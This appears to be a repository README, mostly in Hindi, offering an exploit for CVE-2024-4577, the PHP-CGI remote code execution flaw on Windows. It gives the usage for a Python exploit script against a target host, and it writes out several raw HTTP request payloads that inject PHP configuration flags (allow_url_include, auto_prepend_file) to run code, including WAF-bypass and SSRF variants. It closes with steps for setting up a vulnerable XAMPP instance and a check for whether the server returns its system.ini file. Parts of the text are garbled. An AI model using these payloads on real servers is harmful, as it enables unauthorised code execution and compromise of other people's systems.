a-roshbaik/cve-2024-4577-php-rceविंडोज़ पर CVE-2024-4577 PHP-CGI RCE के लिए एक्सप्लॉइट, WAF बाईपास और SSRF समर्थन के साथ। डिफ़ॉल्ट, WAF और SSRF परिदृश्यों के लिए कई एक्सप्लॉइट वेरिएंट प्रदान करता है।
cgi.force_redirect + REDIRECT-STATUS।allow_url_include, auto_prepend_file, auto_append_file की आवश्यकता के बिना RCE। किसी भी फाइल और php फाइल को शामिल किया जा सकता है।allow_url_include, , का उपयोग नहीं होता।auto_prepend_fileauto_append_file| जानकारी | सामग्री |
|---|---|
| भेद्यता का नाम | PHP RCE |
| भेद्यता संख्या | CVE-2024-4577 |
| जोखिम स्तर | उच्च जोखिम |
| भेद्यता प्रकार | RCE |
| उपयोग की कठिनाई | कम |
WAF बाईपास परिदृश्य + डिफ़ॉल्ट परिदृश्य में उपयोग किया जा सकता है:
python CVE-2024-4577-PHP-RCE.py PhpServerHost:PhpServerPort
उदाहरण:
python CVE-2024-4577-PHP-RCE.py 123.123.123.123:80
SSRF परिदृश्य + डिफ़ॉल्ट परिदृश्य में उपयोग किया जा सकता है:
http://PhpServerHost:PhpServerPort/php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+-d+allow_url_include%3d1+-d+auto_prepend_file%3d"data:XCANWIN/XCANWIN;base64,PD9waHAgZGllKCJUZSIuInNUIik7Pz4g"
डिफ़ॉल्ट परिदृश्य में उपयोग किया जा सकता है:
POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
<?php die("Te"."sT");?>
डिफ़ॉल्ट परिदृश्य में उपयोग किया जा सकता है:
POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
REDIRECT-STATUS: XCANWIN
<?php die("Te"."sT");?>
XAMPP Windows版 8.2.12
https://zenlayer.dl.sourceforge.net/project/xampp/XAMPP%20Windows/8.2.12/xampp-windows-x64-8.2.12-0-VS16-installer.exe?viasf=1
या यहाँ से प्रभावित संस्करण चुनें: https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/
कोई भी संशोधन न करें, डिफ़ॉल्ट कॉन्फ़िगरेशन रखें
उपरोक्त EXP का उपयोग करके परीक्षण करें
जांचें कि क्या स्ट्रिंग "TesT" या सर्वर की system.ini फ़ाइल की सामग्री वापस आती है